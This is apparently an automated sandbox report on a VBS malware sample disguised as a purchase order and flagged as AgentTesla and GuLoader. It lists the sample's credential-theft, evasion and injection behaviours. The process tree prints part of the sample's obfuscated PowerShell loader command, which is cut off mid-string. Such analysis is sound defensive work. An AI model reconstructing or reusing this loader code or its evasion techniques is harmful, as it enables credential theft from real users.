Edit tour
Windows
Analysis Report
SIEM_PO00938467648.vbs
Overview
General Information
Detection
AgentTesla, GuLoader
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected AgentTesla
Sigma detected: Dot net compiler compiles file from suspicious location
Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Yara detected GuLoader
Snort IDS alert for network traffic
Tries to steal Mail credentials (via file / registry access)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to detect Any.run
Wscript starts Powershell (via cmd or directly)
Potential malicious VBS script found (suspicious strings)
Tries to harvest and steal ftp login credentials
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Very long command line found
May check the online IP address of the machine
Potential evasive VBS script found (use of timer() function in loop)
Obfuscated command line found
Machine Learning detection for dropped file
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to harvest and steal browser information (history, passwords, etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Yara signature match
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Yara detected Credential Stealer
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Java / VBScript file with very long strings (likely obfuscated code)
Drops PE files
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Detected TCP or UDP traffic on non-standard ports
Checks if the current process is being debugged
Uses FTP
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Compiles C# or VB.Net code
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Classification
- System is w10x64native
- wscript.exe (PID: 7696 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\SIEM_ PO00938467 648.vbs" MD5: 0639B0A6F69B3265C1E42227D650B7D1) - cmd.exe (PID: 376 cmdline:
CMD.EXE /c echo C:\W indows MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 380 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - powershell.exe (PID: 6160 cmdline:
C:\Windows \syswow64\ WindowsPow erShell\v1 .0\powersh ell.exe" " $Biliate = """LaABrd GedGa-StTD iyCopsteUn St-UdThoy AupepeWrDR eeTrfPaiUs nUmiRetCoi MaoFrnSv S m'ReuSksUn iFunCogKn ToSPhyPrsJ atNueSimst ;viuSmsPri SknangIm P rSPlyEusGr tgueoemFo. ReRPuuConH utSoiFrmFr eIl.JoIFon SntSneLurC ooPapJaSTr eRerElvKui ticReeFesB r;AmpUpuKo bsnlVoiDec Aw sasRutR hajetaaiTe cSv BrcEsl FoaUnsVasL e EbTInuBa eBaiOurCeo KonPr1Ci S h{Ti[PhDAf lUllBuIMim HapMaoAfrE utAn(ad`"" "InuLusKie KarMe3Br2S i`"""Rr)Ri ]GopMauFlb StlMeiTycS a AesKatIn aHjtSmiSvc Ne SteHoxa ttImeTerOp nNa GriBen BrtNo YdDM ieResTotEn rBroStyOvC spaMerMieC otKl(sn)Me ;Sm[AfDEpl LulReIenmF lpRdoHarEg tBr(Ov`""" MigAldMeiP l3In2Er`"" "Te)Ce]tap EuuDrbCulM aiHjcAs Lg sUdtTraBrt SqiercCo V ieBexTetVe etrrHrnMa FoiBanArtH a StSBrcUd aGrlLaeSkW TeiScnSudR eoBuwCrEVe xChtstESux Kn(NoiFinK utSe MoDLn rIgiBefRat Pl,ReiAnnA ltJu BeAUd mAmbMiuPal HeaAp,DiiF onKntSp ju BpraSesVao Qu,MaiLenI mtBa NoiAf aDagVrtPot SyaOv,ChiG enpltRe di VSaeTvjSim boaSotAn1U n5Fr8Ud,Gi iTinSttEr YeMSucSlgK urSk)Eg;Ak [KuDDilBul ImIRdmAmpA noVarPrtFr (Sk`"""Svk SqeRorpinF leRelPa3Ov 2as`"""Tr) Wo]hepMeuR obBalFriLu cRe HysMit FoaUntTaiT mcJa aneDe xMitKueSar BlnOi ReiF anSutov dr HDeeStaBap BlSBeiSpzB aeKo(StiUn nDitOu YcP KerBroUrpR e,PhiSonxa tCl AiANod StrCheFosO v,ViiDenJu tDi MuTImo WerArtInrf riPo)Mo;Co [SlDOplSal SpIApmunpR eoSjrRotKo (wh`"""Jgs SchdieBilS hlko3Ge2re .VadUflOml Un`"""St)U n]BepPauSl bOslBeiUnc As MasMntS yaLetFriTr cpr NoeVix RatFoeRerW enun SevEn ofuiTrdRh PaDterFlaF igMeFCiiEn nStiKasBeh Mi(EsiBonS utPo OpOMu mPldSerGe) Ba;Ej[SpDF alBelMeILi mhepFroUdr GutAu(Je`" ""mawSkifa nTemNumIn. ApdKolBolF l`"""Fu)Ho ]ScpOvuPrb MdlViiAlcB a BosSatAs aHotLiiFoc Si VeeNoxL utHaeBirJe nLa Hoienn NatGu Armt jiHoxSceDa rTrGSwejot CoDTreFivS uCKeaMipqu sSu(SkiBln CitCh BeNP riBrtSerUd ,UditinCot Jo VaFaseE wlOb,Thivi nQutEo NoA PhfAfsXi9I m3Bl)Ta;Ls [ChDCulCal HaIPumCipI coFarRetSl (Be`"""Rek GleTrrhinA teSilEk3Sa 2ur`"""Ti) De]PapFeuD rbFolOpiLk cTn BusAbt SyaUdtMeiS ocfr CoeIm xFatMoeFrr nanto triM enTotAl Ka LUdoEscAsk QuRosepasp hoOvuForJu cApeph(Roi AfnCotTe V eLExeSoiUn )Ir;Un[ReD PilIwlOyIL ammipShoSt rFatCr(Bo` """FlkAueC ervanToeJe lAv3Pl2Re` """Se)Co]U npAnuCobOp lFoilacLa CasrotOpaU ntMuiKacTi WieKnxEnt ReeUdrTrnT r AriPonIn tSl PiVIni StrpetrauA caTilvaATe lBelCloThc Fa(TriStnS otWi GevGr 1Sk,SmiLun ThtOr CavB l2Ne,KeiSt nCotBy Hev dr3pa,HeiG anUptku Sv vCa4In)pr; Py[DrDMalI nlPrIBrmHe pPloKnrPtt ba(Ho`"""C rAUnDBeVAl AToPanICr3 St2Ph.WaDB eLSaLCi`"" "To)Un]Stp TiuRebSylP uiEncFo Co sMotUnaUnt HuiAtcst M eeMixDotOf eAdrInnRo SuvBeoUpiV idTi CiMTr aBipBeGAte OenSleGlrP riBrcCoMFi aUnsAnkVn( SaiSknMetP e PlBInrTr